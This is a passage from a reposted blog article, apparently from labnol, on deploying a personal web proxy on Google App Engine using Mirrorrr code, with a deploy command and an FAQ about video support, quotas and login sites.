authentication so that only users who are logged-in into their Google Accounts can use your web proxy server.<br /> If you have made any changes to your HTML files, you can upload the latest version to Google App Engine either by clicking the "Deploy" button again or use the following command - <code>appcfg.py update <i><app-directory></i></code><br /> Credits: The proxy server uses code from <a href="http://code.google.com/p/mirrorrr/" style="color: #20007f; text-decoration: none;" target="_blank">Mirrorr</a>, an open-source web caching project by  <a href="http://onebigfluke.com/" style="color: #20007f; text-decoration: none;" target="_blank">Brett Slatkin</a>. Thanks Pratham for your help!<br /> <b>Update</b>: To answer some of your questions:<br /> <ul><li>This proxy works with Flash videos (like <a href="http://www.flickr.com/photos/amit-agarwal/4405941692/" style="color: #20007f; text-decoration: none;">YouTube</a> and ABC News) though not with Hulu.</li> <li>If you are getting the "quota exceed" error, try this <strike>mirror</strike> site. Update: This has been removed since the App Engine TOS does not allow you to split your app across multiple accounts to make use of the free quotas. So technically, the mirror of the proxy is in violation of the TOS.</li> <li>As some of you have suggestions, domain with the word "proxy" or "proxies" are banned at workplaces so you may include them in your proxy address.</li> <li>Though there exist proxy servers for accessing secure sites, this is a basic proxy server that won't work with sites that require logins (eg, Gmail or Hotmail).</li> </ul></span><br /> Source:<a href="http://labnol.com/">labnol</a><br /> --<br /> <div dir="ltr">Regards,<br /> Hardeep Singh<br /> (<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /> </div>

Google Proxy Tricks Setup your own Proxy Server in 5 Minutes for Free

A simple  Google search  and you'll find dozens of really good PHP scripts on the Internet to help you create proxy servers in minutes...

Read more »